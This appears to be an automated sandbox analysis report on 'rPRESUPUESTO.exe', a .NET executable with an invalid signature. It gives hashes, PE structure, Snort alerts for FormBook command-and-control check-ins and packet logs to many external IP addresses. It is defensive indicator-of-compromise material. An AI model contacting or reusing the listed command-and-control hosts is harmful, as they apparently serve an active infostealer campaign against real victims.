C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ggwsvlml.yr5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaoerwqi.pzx.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pul4memt.qud.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtza4nxy.w3x.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.908948155144851
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	rPRESUPUESTO.exe
File size:	713'736 bytes
MD5:	e78d43a26913cf101b98d1d04839eee2
SHA1:	911c8c10f7c8bc9fd3c6bd16e9f5da11e3c3eb5d
SHA256:	8f9dbdd77e130b7238761966a9c9aa8712baf2100ddebc3d9d206ee17f8f119c
SHA512:	bffe8fb15a48272c7de1893a75e0f8bacc8ef635395639b10e64bfc41fbd5d8dd63f43c0f85302a1823251b3fb2e1e9edbdd34f624ed0f683c2adbfe328b7811
SSDEEP:	12288:s99glhLQbCawDK1ko+anBlfU4JqOIxTXZ9cmJ1oleOZLitjmJhSGZ3jVfkUnkR:sOiw+1DLnjfdIJ9cqZtKRy
TLSH:	B1E41245A3FCAB16F6B697F138B1401003BC35666660D34C1ECA64CF26A7F956B30B6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4ac21e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEEB2EB9E [Sun Nov 25 17:32:14 2096 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/11/2018 19:00:00 08/11/2021 18:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac1ca	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xaae00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xaa0a4	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaa224	0xaa400	62b7b6e430d319f902493cd06cdd7c77	False	0.9204194773311307	data	7.915293858213766	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xae000	0x5f8	0x600	28f3957deb2dc9b71aa7236377038542	False	0.4375	data	4.27462971891555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb0000	0xc	0x200	d15ac267d03c5d77d0748c8ce79ac41e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xae090	0x368	data			0.4208715596330275
RT_MANIFEST	0xae408	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/01/24-16:16:13.746309	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49728	80	192.168.2.5	109.123.121.243
07/01/24-16:16:18.808053	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49731	80	192.168.2.5	109.123.121.243
07/01/24-16:18:07.346515	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49759	80	192.168.2.5	45.207.12.95
07/01/24-16:17:15.863521	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49744	80	192.168.2.5	203.161.62.199
07/01/24-16:18:21.028651	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49763	80	192.168.2.5	81.95.96.29
07/01/24-16:17:07.337585	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49742	80	192.168.2.5	121.254.178.238
07/01/24-16:17:29.248940	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49748	80	192.168.2.5	74.208.236.72
07/01/24-16:18:28.632405	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49766	80	192.168.2.5	81.95.96.29
07/01/24-16:17:34.312062	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49750	80	192.168.2.5	74.208.236.72
07/01/24-16:19:16.252042	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49779	80	192.168.2.5	31.186.11.254
07/01/24-16:19:02.638028	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49775	80	192.168.2.5	192.227.175.142
07/01/24-16:19:10.587031	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49778	80	192.168.2.5	192.227.175.142
07/01/24-16:16:11.211715	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49727	80	192.168.2.5	109.123.121.243
07/01/24-16:18:51.373471	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49772	80	192.168.2.5	72.52.179.174
07/01/24-16:16:24.966593	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49733	80	192.168.2.5	47.242.109.15
07/01/24-16:19:18.868394	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49780	80	192.168.2.5	31.186.11.254
07/01/24-16:18:37.901423	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49768	80	192.168.2.5	103.224.182.246
07/01/24-16:17:02.095932	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49740	80	192.168.2.5	121.254.178.238
07/01/24-16:17:42.922320	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49752	80	192.168.2.5	192.207.62.21
07/01/24-16:17:56.643054	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49756	80	192.168.2.5	199.59.243.226
07/01/24-16:17:13.324881	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49743	80	192.168.2.5	203.161.62.199
07/01/24-16:15:49.808806	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49722	80	192.168.2.5	122.10.13.122
07/01/24-16:18:56.437958	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49774	80	192.168.2.5	72.52.179.174
07/01/24-16:18:09.886069	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49760	80	192.168.2.5	45.207.12.95
07/01/24-16:19:05.500678	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49776	80	192.168.2.5	192.227.175.142
07/01/24-16:18:01.702274	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49758	80	192.168.2.5	199.59.243.226
07/01/24-16:17:54.095976	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49755	80	192.168.2.5	199.59.243.226
07/01/24-16:18:14.951993	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49762	80	192.168.2.5	45.207.12.95
07/01/24-16:17:40.379960	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49751	80	192.168.2.5	192.207.62.21
07/01/24-16:18:23.559109	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49764	80	192.168.2.5	81.95.96.29
07/01/24-16:18:48.836010	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49771	80	192.168.2.5	72.52.179.174
07/01/24-16:16:27.495389	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49734	80	192.168.2.5	47.242.109.15
07/01/24-16:17:47.997961	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49754	80	192.168.2.5	192.207.62.21
07/01/24-16:18:35.366412	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49767	80	192.168.2.5	103.224.182.246
07/01/24-16:17:26.707967	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49747	80	192.168.2.5	74.208.236.72
07/01/24-16:17:20.934301	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49746	80	192.168.2.5	203.161.62.199
07/01/24-16:18:43.039994	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49770	80	192.168.2.5	103.224.182.246
07/01/24-16:16:32.561088	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49737	80	192.168.2.5	47.242.109.15
07/01/24-16:16:59.555818	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49739	80	192.168.2.5	121.254.178.238

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 16:15:49.801100969 CEST	49722	80	192.168.2.5	122.10.13.122
Jul 1, 2024 16:15:49.806052923 CEST	80	49722	122.10.13.122	192.168.2.5
Jul 1, 2024 16:15:49.806166887 CEST	49722	80	192.168.2.5	122.10.13.122
Jul 1, 2024 16:15:49.808805943 CEST	49722	80	192.168.2.5	122.10.13.122
Jul 1, 2024 16:15:49.813570976 CEST	80	49722	122.10.13.122	192.168.2.5
Jul 1, 2024 16:16:06.168265104 CEST	80	49722	122.10.13.122	192.168.2.5
Jul 1, 2024 16:16:06.169558048 CEST	80	49722	122.10.13.122	192.168.2.5
Jul 1, 2024 16:16:06.169667959 CEST	49722	80	192.168.2.5	122.10.13.122
Jul 1, 2024 16:16:06.172209978 CEST	49722	80	192.168.2.5	122.10.13.122
Jul 1, 2024 16:16:06.177064896 CEST	80	49722	122.10.13.122	192.168.2.5
Jul 1, 2024 16:16:11.204627037 CEST	49727	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:11.209522963 CEST	80	49727	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:11.209707975 CEST	49727	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:11.211714983 CEST	49727	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:11.216464996 CEST	80	49727	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:11.813142061 CEST	80	49727	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:11.813637972 CEST	80	49727	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:11.813721895 CEST	49727	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:12.719608068 CEST	49727	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:13.738719940 CEST	49728	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:13.743633032 CEST	80	49728	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:13.743733883 CEST	49728	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:13.746309042 CEST	49728	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:13.751147032 CEST	80	49728	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:15.250833035 CEST	49728	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:15.297367096 CEST	80	49728	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.269953966 CEST	49729	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:16.274986029 CEST	80	49729	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.275115013 CEST	49729	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:16.277179956 CEST	49729	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:16.282198906 CEST	80	49729	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.282289028 CEST	80	49729	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.870628119 CEST	80	49729	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.870698929 CEST	80	49729	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:16.870784044 CEST	49729	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:17.224020004 CEST	80	49728	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:17.224114895 CEST	49728	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:17.782025099 CEST	49729	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:18.801003933 CEST	49731	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:18.805890083 CEST	80	49731	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:18.805984974 CEST	49731	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:18.808053017 CEST	49731	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:18.812849045 CEST	80	49731	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:19.403414011 CEST	80	49731	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:19.403548956 CEST	80	49731	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:19.403877974 CEST	49731	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:19.406590939 CEST	49731	80	192.168.2.5	109.123.121.243
Jul 1, 2024 16:16:19.411847115 CEST	80	49731	109.123.121.243	192.168.2.5
Jul 1, 2024 16:16:24.959528923 CEST	49733	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:24.964363098 CEST	80	49733	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:24.964554071 CEST	49733	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:24.966593027 CEST	49733	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:24.971488953 CEST	80	49733	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:26.469655991 CEST	49733	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:26.517497063 CEST	80	49733	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:27.488358021 CEST	49734	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:27.493309021 CEST	80	49734	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:27.493407965 CEST	49734	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:27.495388985 CEST	49734	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:27.500241995 CEST	80	49734	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:29.000787973 CEST	49734	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:29.053796053 CEST	80	49734	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:30.020416021 CEST	49736	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:30.025728941 CEST	80	49736	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:30.025892019 CEST	49736	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:30.028462887 CEST	49736	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:30.033482075 CEST	80	49736	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:30.035958052 CEST	80	49736	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:31.531964064 CEST	49736	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:31.581641912 CEST	80	49736	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:32.551876068 CEST	49737	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:32.558434010 CEST	80	49737	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:32.558661938 CEST	49737	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:32.561088085 CEST	49737	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:32.565927029 CEST	80	49737	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:46.342921972 CEST	80	49733	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:46.343034029 CEST	49733	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:48.875663996 CEST	80	49734	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:48.875719070 CEST	49734	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:51.408432961 CEST	80	49736	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:51.408498049 CEST	49736	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:53.970906973 CEST	80	49737	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:53.974265099 CEST	49737	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:53.978355885 CEST	49737	80	192.168.2.5	47.242.109.15
Jul 1, 2024 16:16:53.983954906 CEST	80	49737	47.242.109.15	192.168.2.5
Jul 1, 2024 16:16:59.548784018 CEST	49739	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:16:59.553639889 CEST	80	49739	121.254.178.238	192.168.2.5
Jul 1, 2024 16:16:59.553709984 CEST	49739	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:16:59.555818081 CEST	49739	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:16:59.561091900 CEST	80	49739	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:00.505011082 CEST	80	49739	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:00.505028963 CEST	80	49739	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:00.505129099 CEST	49739	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:01.063234091 CEST	49739	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:02.083933115 CEST	49740	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:02.090698004 CEST	80	49740	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:02.092063904 CEST	49740	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:02.095932007 CEST	49740	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:02.100838900 CEST	80	49740	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:03.025872946 CEST	80	49740	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:03.025940895 CEST	80	49740	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:03.026052952 CEST	49740	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:03.610093117 CEST	49740	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:04.630347013 CEST	49741	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:04.636518002 CEST	80	49741	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:04.638139009 CEST	49741	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:04.641969919 CEST	49741	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:04.646823883 CEST	80	49741	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:04.646831036 CEST	80	49741	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:05.573576927 CEST	80	49741	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:05.573628902 CEST	80	49741	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:05.573693037 CEST	49741	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:06.143955946 CEST	49741	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:07.162461042 CEST	49742	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:07.334254980 CEST	80	49742	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:07.334348917 CEST	49742	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:07.337584972 CEST	49742	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:07.342391968 CEST	80	49742	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:08.265718937 CEST	80	49742	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:08.265933990 CEST	80	49742	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:08.266048908 CEST	49742	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:08.269984961 CEST	49742	80	192.168.2.5	121.254.178.238
Jul 1, 2024 16:17:08.274780989 CEST	80	49742	121.254.178.238	192.168.2.5
Jul 1, 2024 16:17:13.317677975 CEST	49743	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:13.322529078 CEST	80	49743	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:13.322612047 CEST	49743	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:13.324881077 CEST	49743	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:13.329610109 CEST	80	49743	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:13.934170961 CEST	80	49743	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:13.934513092 CEST	80	49743	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:13.936069965 CEST	49743	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:14.830028057 CEST	49743	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:15.856370926 CEST	49744	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:15.861412048 CEST	80	49744	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:15.861542940 CEST	49744	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:15.863521099 CEST	49744	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:15.868321896 CEST	80	49744	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:16.489027023 CEST	80	49744	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:16.489238977 CEST	80	49744	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:16.489435911 CEST	49744	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:17.375710011 CEST	49744	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:18.394371986 CEST	49745	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:18.399254084 CEST	80	49745	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:18.400223970 CEST	49745	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:18.403979063 CEST	49745	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:18.408834934 CEST	80	49745	203.161.62.199	192.168.2.5
